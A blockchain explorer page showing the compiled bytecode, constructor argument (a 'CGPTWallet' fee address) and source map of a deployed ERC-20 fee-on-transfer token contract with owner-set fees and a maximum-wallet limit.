54600190935292205493955091935060ff16911115818015610e635750805b15610e795760009250610e76848661124f565b94505b6001600160a01b038716600090815260016020526040902054610e9c9086610f94565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610ecb9085610fa7565b6001600160a01b038716600090815260016020526040808220929092553081522054610ef79084610fa7565b3060009081526001602090815260409182902092909255518581526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050505050565b6000806000610f7b6064610f7560145487610fb390919063ffffffff16565b90610fbf565b90506000610f898583610f94565b959194509092505050565b6000610fa0828461124f565b9392505050565b6000610fa08284611179565b6000610fa08284611262565b6000610fa08284611279565b600060208083528351808285015260005b81811015610ff857858101830151858201604001528201610fdc565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461102e57600080fd5b50565b6000806040838503121561104457600080fd5b823561104f81611019565b946020939093013593505050565b60008060006060848603121561107257600080fd5b833561107d81611019565b9250602084013561108d81611019565b929592945050506040919091013590565b6000602082840312156110b057600080fd5b8135610fa081611019565b600080604083850312156110ce57600080fd5b82356110d981611019565b915060208301356110e981611019565b809150509250929050565b600181811c9082168061110857607f821691505b60208210810361112857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156104ff576104ff611163565b600060ff821660ff81036111a2576111a2611163565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111d357600080fd5b8151610fa081611019565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561122e5784516001600160a01b031683529383019391830191600101611209565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104ff576104ff611163565b80820281158282048414176104ff576104ff611163565b60008261129657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b73e15a363b56323085751bb700e04034aadcdb75a12e2d8e901a3f1ed5e8bf64736f6c634300081300330000000000000000000000005f703ed3d4964f6f0f71b2aa71fa86490ea71bc4

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063590f897e116100b657806395d89b411161006f57806395d89b4114610396578063a9059cbb146103ab578063d3d1dad6146103cb578063dd62ed3e146103e0578063ece0667314610426578063f2fde38b1461043c57600080fd5b8063590f897e146102cf57806370a08231146102e5578063715018a61461031b578063768dc7101461033257806378109e54146103625780638da5cb5b1461037857600080fd5b8063220f669611610108578063220f66961461021c57806323b872dd1461023d578063313ce5671461025d57806340b9a54b1461027f57806349bd5a5e146102955780634a74bb02146102b557600080fd5b806306fdde0314610150578063095ea7b31461017b57806309fbb48b146101ab5780631694505e146101cf57806318160ddd1461020757600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561045c565b6040516101729190610fcb565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611031565b6104ee565b6040519015158152602001610172565b3480156101b757600080fd5b506101c160105481565b604051908152602001610172565b3480156101db57600080fd5b506004546101ef906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561021357600080fd5b506009546101c1565b34801561022857600080fd5b5060055461019b90600160a01b900460ff1681565b34801561024957600080fd5b5061019b61025836600461105d565b610505565b34801561026957600080fd5b5060085460405160ff9091168152602001610172565b34801561028b57600080fd5b506101c160155481565b3480156102a157600080fd5b506005546101ef906001600160a01b031681565b3480156102c157600080fd5b5060175461019b9060ff1681565b3480156102db57600080fd5b506101c160165481565b3480156102f157600080fd5b506101c161030036600461109e565b6001600160a01b031660009081526001602052604090205490565b34801561032757600080fd5b5061033061056e565b005b34801561033e57600080fd5b5061019b61034d36600461109e565b60036020526000908152604090205460ff1681565b34801561036e57600080fd5b506101c1600f5481565b34801561038457600080fd5b506000546001600160a01b03166101ef565b3480156103a257600080fd5b506101656105eb565b3480156103b757600080fd5b5061019b6103c6366004611031565b6105fa565b3480156103d757600080fd5b50610330610607565b3480156103ec57600080fd5b506101c16103fb3660046110bb565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561043257600080fd5b506101c1600b5481565b34801561044857600080fd5b5061033061045736600461109e565b610648565b60606006805461046b906110f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610497906110f4565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b60006104fb338484610732565b5060015b92915050565b60006105128484846107f3565b610564843361055f8560405180606001604052806028815260200161129c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b50565b610732565b5060019392505050565b6000546001600160a01b031633146105a15760405162461bcd60e51b81526004016105989061112e565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606007805461046b906110f4565b60006104fb3384846107f3565b6000546001600160a01b031633146106315760405162461bcd60e51b81526004016105989061112e565b600019600f55606460145560016015819055601655565b6000546001600160a01b031633146106725760405162461bcd60e51b81526004016105989061112e565b6001600160a01b0381166106d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610598565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061075257506001600160a01b03821615155b6107925760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610598565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061081f57506012546001600160a01b03838116911614155b801561083457506001600160a01b0382163014155b801561084e57506005546001600160a01b03838116911614155b801561086857506013546001600160a01b03838116911614155b801561088257506000546001600160a01b03848116911614155b1561090e576001600160a01b038216600090815260016020526040902054600f546108ad8383611179565b111561090c5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610598565b505b6001600160a01b0383161580159061092e57506001600160a01b03821615155b6109725760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610598565b600081116109d05760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610598565b600a5460ff610100820481169116108015906109ed575060105481115b8015610a035750600554600160a01b900460ff16155b8015610a2857506001600160a01b03831660009081526003602052604090205460ff16155b8015610a4157506005546001600160a01b038381169116145b8015610a4f575060175460ff165b15610a7f57600a805460ff19169055306000908152600160205260409020548015610a7d57610a7d81610b7c565b505b6001600160a01b03831660009081526003602052604090205460019060ff1680610ac157506001600160a01b03831660009081526003602052604090205460ff165b80610af357506005546001600160a01b03858116911614801590610af357506005546001600160a01b03848116911614155b15610b0057506000610b3e565b6005546001600160a01b0390811690851603610b2157601554601455610b3e565b6005546001600160a01b0390811690841603610b3e576016546014555b610b4a84848484610bc1565b50505050565b60008184841115610b745760405162461bcd60e51b81526004016105989190610fcb565b505050900390565b6005805460ff60a01b1916600160a01b179055610b9881610c27565b6012544790610bb0906001600160a01b031682610d9a565b50506005805460ff60a01b19169055565b80610bd357610bce610dd5565b610c00565b600a805460ff16906000610be68361118c565b91906101000a81548160ff021916908360ff160217905550505b610c0b848484610e1a565b80610b4a57610b4a600c54601455600d54601555600e54601655565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c5c57610c5c6111ab565b60200260200101906001600160a01b031690816001600160a01b031681525050600460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ccf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf391906111c1565b81600181518110610d0657610d066111ab565b6001600160a01b039283166020918202929092010152600454610d2c9130911684610732565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610d64918691600091879130914291016111de565b600060405180830381600087803b158015610d7e57600080fd5b505af1158015610d92573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610dd0573d6000803e3d6000fd5b505050565b601454158015610de55750601554155b8015610df15750601654155b15610df857565b60158054600d5560168054600e5560148054600c556000928390559082905555565b600080610e2683610f56565b6001600160a01b038716600090815260036020908152604080832054600f54600190935292205493955091935060ff16911115818015610e635750805b15610e795760009250610e76848661124f565b94505b6001600160a01b038716600090815260016020526040902054610e9c9086610f94565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610ecb9085610fa7565b6001600160a01b038716600090815260016020526040808220929092553081522054610ef79084610fa7565b3060009081526001602090815260409182902092909255518581526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050505050565b6000806000610f7b6064610f7560145487610fb390919063ffffffff16565b90610fbf565b90506000610f898583610f94565b959194509092505050565b6000610fa0828461124f565b9392505050565b6000610fa08284611179565b6000610fa08284611262565b6000610fa08284611279565b600060208083528351808285015260005b81811015610ff857858101830151858201604001528201610fdc565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461102e57600080fd5b50565b6000806040838503121561104457600080fd5b823561104f81611019565b946020939093013593505050565b60008060006060848603121561107257600080fd5b833561107d81611019565b9250602084013561108d81611019565b929592945050506040919091013590565b6000602082840312156110b057600080fd5b8135610fa081611019565b600080604083850312156110ce57600080fd5b82356110d981611019565b915060208301356110e981611019565b809150509250929050565b600181811c9082168061110857607f821691505b60208210810361112857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156104ff576104ff611163565b600060ff821660ff81036111a2576111a2611163565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111d357600080fd5b8151610fa081611019565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561122e5784516001600160a01b031683529383019391830191600101611209565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104ff576104ff611163565b80820281158282048414176104ff576104ff611163565b60008261129657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b73e15a363b56323085751bb700e04034aadcdb75a12e2d8e901a3f1ed5e8bf64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005f703ed3d4964f6f0f71b2aa71fa86490ea71bc4

-----Decoded View---------------
Arg [0] : CGPTWallet (address): 0x5F703ED3d4964F6f0f71B2aA71Fa86490eA71bC4

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000005f703ed3d4964f6f0f71b2aa71fa86490ea71bc4


Deployed Bytecode Sourcemap

4894:8117:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6968:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10511:161;;;;;;;;;;-1:-1:-1;10511:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10511:161:0;1023:187:1;5850:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5850:52:0;1215:177:1;5204:41:0;;;;;;;;;;-1:-1:-1;5204:41:0;;;;-1:-1:-1;;;;;5204:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;5204:41:0;1397:229:1;7245:100:0;;;;;;;;;;-1:-1:-1;7325:12:0;;7245:100;;5287:28;;;;;;;;;;-1:-1:-1;5287:28:0;;;;-1:-1:-1;;;5287:28:0;;;;;;7478:313;;;;;;;;;;-1:-1:-1;7478:313:0;;;;;:::i;:::-;;:::i;7154:83::-;;;;;;;;;;-1:-1:-1;7220:9:0;;7154:83;;7220:9;;;;2234:36:1;;2222:2;2207:18;7154:83:0;2092:184:1;6148:27:0;;;;;;;;;;;;;;;;5252:28;;;;;;;;;;-1:-1:-1;5252:28:0;;;;-1:-1:-1;;;;;5252:28:0;;;6217:40;;;;;;;;;;-1:-1:-1;6217:40:0;;;;;;;;6182:28;;;;;;;;;;;;;;;;7353:117;;;;;;;;;;-1:-1:-1;7353:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7446:16:0;7419:7;7446:16;;;:7;:16;;;;;;;7353:117;2583:148;;;;;;;;;;;;;:::i;:::-;;5106:51;;;;;;;;;;-1:-1:-1;5106:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5788:55;;;;;;;;;;;;;;;;2360:87;;;;;;;;;;-1:-1:-1;2406:7:0;2433:6;-1:-1:-1;;;;;2433:6:0;2360:87;;7059;;;;;;;;;;;;;:::i;11569:167::-;;;;;;;;;;-1:-1:-1;11569:167:0;;;;;:::i;:::-;;:::i;8793:178::-;;;;;;;;;;;;;:::i;11744:143::-;;;;;;;;;;-1:-1:-1;11744:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;11852:18:0;;;11825:7;11852:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11744:143;5593:30;;;;;;;;;;;;;;;;2739:244;;;;;;;;;;-1:-1:-1;2739:244:0;;;;;:::i;:::-;;:::i;6968:83::-;7005:13;7038:5;7031:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6968:83;:::o;10511:161::-;10586:4;10603:39;1901:10;10626:7;10635:6;10603:8;:39::i;:::-;-1:-1:-1;10660:4:0;10511:161;;;;;:::o;7478:313::-;7576:4;7593:36;7603:6;7611:9;7622:6;7593:9;:36::i;:::-;7640:121;7649:6;1901:10;7671:89;7709:6;7671:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7671:19:0;;;;;;:11;:19;;;;;;;;1901:10;7671:33;;;;;;;;;;:37;:89::i;:::-;7640:8;:121::i;:::-;-1:-1:-1;7779:4:0;7478:313;;;;;:::o;2583:148::-;2406:7;2433:6;-1:-1:-1;;;;;2433:6:0;1901:10;2495:23;2487:68;;;;-1:-1:-1;;;2487:68:0;;;;;;;:::i;:::-;;;;;;;;;2690:1:::1;2674:6:::0;;2653:40:::1;::::0;-1:-1:-1;;;;;2674:6:0;;::::1;::::0;2653:40:::1;::::0;2690:1;;2653:40:::1;2721:1;2704:19:::0;;-1:-1:-1;;;;;;2704:19:0::1;::::0;;2583:148::o;7059:87::-;7098:13;7131:7;7124:14;;;;;:::i;11569:167::-;11647:4;11664:42;1901:10;11688:9;11699:6;11664:9;:42::i;8793:178::-;2406:7;2433:6;-1:-1:-1;;;;;2433:6:0;1901:10;2495:23;2487:68;;;;-1:-1:-1;;;2487:68:0;;;;;;;:::i;:::-;-1:-1:-1;;8851:15:0::1;:29:::0;8913:3:::1;8901:9;:15:::0;8937:1:::1;8927:7;:11:::0;;;8950:8:::1;:12:::0;8793:178::o;2739:244::-;2406:7;2433:6;-1:-1:-1;;;;;2433:6:0;1901:10;2495:23;2487:68;;;;-1:-1:-1;;;2487:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2828:22:0;::::1;2820:73;;;::::0;-1:-1:-1;;;2820:73:0;;4082:2:1;2820:73:0::1;::::0;::::1;4064:21:1::0;4121:2;4101:18;;;4094:30;4160:34;4140:18;;;4133:62;-1:-1:-1;;;4211:18:1;;;4204:36;4257:19;;2820:73:0::1;3880:402:1::0;2820:73:0::1;2930:6;::::0;;2909:38:::1;::::0;-1:-1:-1;;;;;2909:38:0;;::::1;::::0;2930:6;::::1;::::0;2909:38:::1;::::0;::::1;2958:6;:17:::0;;-1:-1:-1;;;;;;2958:17:0::1;-1:-1:-1::0;;;;;2958:17:0;;;::::1;::::0;;;::::1;::::0;;2739:244::o;12746:262::-;-1:-1:-1;;;;;12839:19:0;;;;;;:44;;-1:-1:-1;;;;;;12862:21:0;;;;12839:44;12831:74;;;;-1:-1:-1;;;12831:74:0;;4489:2:1;12831:74:0;;;4471:21:1;4528:2;4508:18;;;4501:30;-1:-1:-1;;;4547:18:1;;;4540:47;4604:18;;12831:74:0;4287:341:1;12831:74:0;-1:-1:-1;;;;;12916:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12968:32;;1361:25:1;;;12968:32:0;;1334:18:1;12968:32:0;;;;;;;12746:262;;;:::o;8979:1520::-;2406:7;2433:6;-1:-1:-1;;;;;9097:13:0;;;2433:6;;9097:13;;;;:47;;-1:-1:-1;9133:11:0;;-1:-1:-1;;;;;9127:17:0;;;9133:11;;9127:17;;9097:47;:83;;;;-1:-1:-1;;;;;;9161:19:0;;9175:4;9161:19;;9097:83;:119;;;;-1:-1:-1;9203:13:0;;-1:-1:-1;;;;;9197:19:0;;;9203:13;;9197:19;;9097:119;:146;;;;-1:-1:-1;9239:4:0;;-1:-1:-1;;;;;9233:10:0;;;9239:4;;9233:10;;9097:146;:178;;;;-1:-1:-1;2406:7:0;2433:6;-1:-1:-1;;;;;9260:15:0;;;2433:6;;9260:15;;9097:178;9093:359;;;-1:-1:-1;;;;;7446:16:0;;9292:18;7446:16;;;:7;:16;;;;;;9374:15;;9350:19;9363:6;7446:16;9350:19;:::i;:::-;9349:40;;9341:92;;;;-1:-1:-1;;;9341:92:0;;5097:2:1;9341:92:0;;;5079:21:1;5136:2;5116:18;;;5109:30;5175:34;5155:18;;;5148:62;-1:-1:-1;;;5226:18:1;;;5219:38;5274:19;;9341:92:0;4895:404:1;9341:92:0;9277:175;9093:359;-1:-1:-1;;;;;9472:18:0;;;;;;:38;;-1:-1:-1;;;;;;9494:16:0;;;;9472:38;9464:72;;;;-1:-1:-1;;;9464:72:0;;5506:2:1;9464:72:0;;;5488:21:1;5545:2;5525:18;;;5518:30;-1:-1:-1;;;5564:18:1;;;5557:51;5625:18;;9464:72:0;5304:345:1;9464:72:0;9564:1;9555:6;:10;9547:60;;;;-1:-1:-1;;;9547:60:0;;5856:2:1;9547:60:0;;;5838:21:1;5895:2;5875:18;;;5868:30;5934:34;5914:18;;;5907:62;-1:-1:-1;;;5985:18:1;;;5978:35;6030:19;;9547:60:0;5654:401:1;9547:60:0;9652:15;;;;;;;;9637:11;;:30;;;;:71;;;9694:14;;9685:6;:23;9637:71;:105;;;;-1:-1:-1;9726:16:0;;-1:-1:-1;;;9726:16:0;;;;9725:17;9637:105;:147;;;;-1:-1:-1;;;;;;9760:24:0;;;;;;:18;:24;;;;;;;;9759:25;9637:147;:183;;;;-1:-1:-1;9807:13:0;;-1:-1:-1;;;;;9801:19:0;;;9807:13;;9801:19;9637:183;:221;;;;-1:-1:-1;9837:21:0;;;;9637:221;9620:467;;;9901:11;:15;;-1:-1:-1;;9901:15:0;;;9980:4;-1:-1:-1;7446:16:0;;;-1:-1:-1;7446:16:0;;;;;;10004:24;;10001:75;;10031:42;10052:20;10031;:42::i;:::-;9884:203;9620:467;-1:-1:-1;;;;;10143:24:0;;10099:12;10143:24;;;:18;:24;;;;;;10114:4;;10143:24;;;:50;;-1:-1:-1;;;;;;10171:22:0;;;;;;:18;:22;;;;;;;;10143:50;:100;;;-1:-1:-1;10206:13:0;;-1:-1:-1;;;;;10198:21:0;;;10206:13;;10198:21;;;;:44;;-1:-1:-1;10229:13:0;;-1:-1:-1;;;;;10223:19:0;;;10229:13;;10223:19;;10198:44;10140:301;;;-1:-1:-1;10269:5:0;10140:301;;;10304:13;;-1:-1:-1;;;;;10304:13:0;;;10296:21;;;;10292:149;;10345:7;;10333:9;:19;10292:149;;;10380:13;;-1:-1:-1;;;;;10380:13:0;;;10374:19;;;;10370:71;;10421:8;;10409:9;:20;10370:71;10453:38;10468:4;10473:2;10476:6;10483:7;10453:14;:38::i;:::-;9082:1417;8979:1520;;;:::o;681:206::-;767:7;828:12;820:6;;;;812:29;;;;-1:-1:-1;;;812:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;863:5:0;;;681:206::o;12019:241::-;6298:16;:23;;-1:-1:-1;;;;6298:23:0;-1:-1:-1;;;6298:23:0;;;12110:36:::1;12125:20:::0;12110:14:::1;:36::i;:::-;12228:11;::::0;12179:21:::1;::::0;12211:41:::1;::::0;-1:-1:-1;;;;;12228:11:0::1;12179:21:::0;12211:16:::1;:41::i;:::-;-1:-1:-1::0;;6344:16:0;:24;;-1:-1:-1;;;;6344:24:0;;;12019:241::o;8382:366::-;8507:7;8503:115;;8530:18;:16;:18::i;:::-;8503:115;;;8589:11;:13;;;;;:11;:13;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;8503:115;8628:46;8648:6;8656:9;8667:6;8628:19;:46::i;:::-;8699:7;8695:45;;8721:19;11456:17;;11444:9;:29;11494:15;;11484:7;:25;11532:16;;11521:8;:27;11396:161;12268:470;12356:16;;;12370:1;12356:16;;;;;;;;12332:21;;12356:16;;;;;;;;;;-1:-1:-1;12356:16:0;12332:40;;12401:4;12383;12388:1;12383:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;12383:23:0;;;-1:-1:-1;;;;;12383:23:0;;;;;12427:15;;;;;;;;;-1:-1:-1;;;;;12427:15:0;-1:-1:-1;;;;;12427:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12417:4;12422:1;12417:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12417:32:0;;;:7;;;;;;;;;:32;12492:15;;12460:62;;12477:4;;12492:15;12510:11;12460:8;:62::i;:::-;12533:15;;;:197;;-1:-1:-1;;;12533:197:0;;-1:-1:-1;;;;;12533:15:0;;;;:66;;:197;;12614:11;;12533:15;;12657:4;;12684;;12704:15;;12533:197;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12321:417;12268:470;:::o;11895:116::-;11980:23;;-1:-1:-1;;;;;11980:15:0;;;:23;;;;;11996:6;;11980:23;;;;11996:6;11980:15;:23;;;;;;;;;;;;;;;;;;;;;11895:116;;:::o;7803:300::-;7853:9;;:14;:30;;;;-1:-1:-1;7871:7:0;;:12;7853:30;:47;;;;-1:-1:-1;7887:8:0;;:13;7853:47;7850:59;;;7803:300::o;7850:59::-;7939:7;;;7921:15;:25;7977:8;;;7958:16;:27;8017:9;;;7997:17;:29;-1:-1:-1;8037:11:0;;;;8059:12;;;;8082:13;7803:300::o;10680:704::-;10791:23;10816:18;10838:23;10853:7;10838:14;:23::i;:::-;-1:-1:-1;;;;;10896:26:0;;10872:21;10896:26;;;:18;:26;;;;;;;;;10971:15;;10896:26;10952:15;;;;;;10790:71;;-1:-1:-1;10790:71:0;;-1:-1:-1;10896:26:0;;;10952:34;;10896:26;11000:31;;;;;11020:11;11000:31;10997:118;;;11061:1;;-1:-1:-1;11077:26:0;11088:15;11077:26;;:::i;:::-;;;10997:118;-1:-1:-1;;;;;11143:15:0;;;;;;:7;:15;;;;;;:28;;11163:7;11143:19;:28::i;:::-;-1:-1:-1;;;;;11125:15:0;;;;;;;:7;:15;;;;;;:46;;;;11203:18;;;;;;;:39;;11226:15;11203:22;:39::i;:::-;-1:-1:-1;;;;;11182:18:0;;;;;;:7;:18;;;;;;:60;;;;11294:4;11278:22;;;;:38;;11305:10;11278:26;:38::i;:::-;11269:4;11253:22;;;;:7;:22;;;;;;;;;:63;;;;11332:44;1361:25:1;;;-1:-1:-1;;;;;11332:44:0;;;;;;;;;;1334:18:1;11332:44:0;;;;;;;10769:615;;;;10680:704;;;:::o;8115:259::-;8178:7;8187;8207:18;8228:31;8255:3;8228:22;8240:9;;8228:7;:11;;:22;;;;:::i;:::-;:26;;:31::i;:::-;8207:52;-1:-1:-1;8270:23:0;8296;:7;8207:52;8296:11;:23::i;:::-;8270:49;8355:10;;-1:-1:-1;8115:259:0;;-1:-1:-1;;;8115:259:0:o;359:98::-;417:7;444:5;448:1;444;:5;:::i;:::-;437:12;359:98;-1:-1:-1;;;359:98:0:o;253:::-;311:7;338:5;342:1;338;:5;:::i;465:98::-;523:7;550:5;554:1;550;:5;:::i;575:98::-;633:7;660:5;664:1;660;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:380::-;3213:1;3209:12;;;;3256;;;3277:61;;3331:4;3323:6;3319:17;3309:27;;3277:61;3384:2;3376:6;3373:14;3353:18;3350:38;3347:161;;3430:10;3425:3;3421:20;3418:1;3411:31;3465:4;3462:1;3455:15;3493:4;3490:1;3483:15;3347:161;;3134:380;;;:::o;3519:356::-;3721:2;3703:21;;;3740:18;;;3733:30;3799:34;3794:2;3779:18;;3772:62;3866:2;3851:18;;3519:356::o;4633:127::-;4694:10;4689:3;4685:20;4682:1;4675:31;4725:4;4722:1;4715:15;4749:4;4746:1;4739:15;4765:125;4830:9;;;4851:10;;;4848:36;;;4864:18;;:::i;6060:175::-;6097:3;6141:4;6134:5;6130:16;6170:4;6161:7;6158:17;6155:43;;6178:18;;:::i;:::-;6227:1;6214:15;;6060:175;-1:-1:-1;;6060:175:1:o;6372:127::-;6433:10;6428:3;6424:20;6421:1;6414:31;6464:4;6461:1;6454:15;6488:4;6485:1;6478:15;6504:251;6574:6;6627:2;6615:9;6606:7;6602:23;6598:32;6595:52;;;6643:1;6640;6633:12;6595:52;6675:9;6669:16;6694:31;6719:5;6694:31;:::i;6760:980::-;7022:4;7070:3;7059:9;7055:19;7101:6;7090:9;7083:25;7127:2;7165:6;7160:2;7149:9;7145:18;7138:34;7208:3;7203:2;7192:9;7188:18;7181:31;7232:6;7267;7261:13;7298:6;7290;7283:22;7336:3;7325:9;7321:19;7314:26;;7375:2;7367:6;7363:15;7349:29;;7396:1;7406:195;7420:6;7417:1;7414:13;7406:195;;;7485:13;;-1:-1:-1;;;;;7481:39:1;7469:52;;7576:15;;;;7541:12;;;;7517:1;7435:9;7406:195;;;-1:-1:-1;;;;;;;7657:32:1;;;;7652:2;7637:18;;7630:60;-1:-1:-1;;;7721:3:1;7706:19;7699:35;7618:3;6760:980;-1:-1:-1;;;6760:980:1:o;7745:128::-;7812:9;;;7833:11;;;7830:37;;;7847:18;;:::i;7878:168::-;7951:9;;;7982;;7999:15;;;7993:22;;7979:37;7969:71;;8020:18;;:::i;8051:217::-;8091:1;8117;8107:132;;8161:10;8156:3;8152:20;8149:1;8142:31;8196:4;8193:1;8186:15;8224:4;8221:1;8214:15;8107:132;-1:-1:-1;8253:9:1;;8051:217::o

Swarm Source

ipfs://3b73e15a363b56323085751bb700e04034aadcdb75a12e2d8e901a3f1ed5e8bf

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.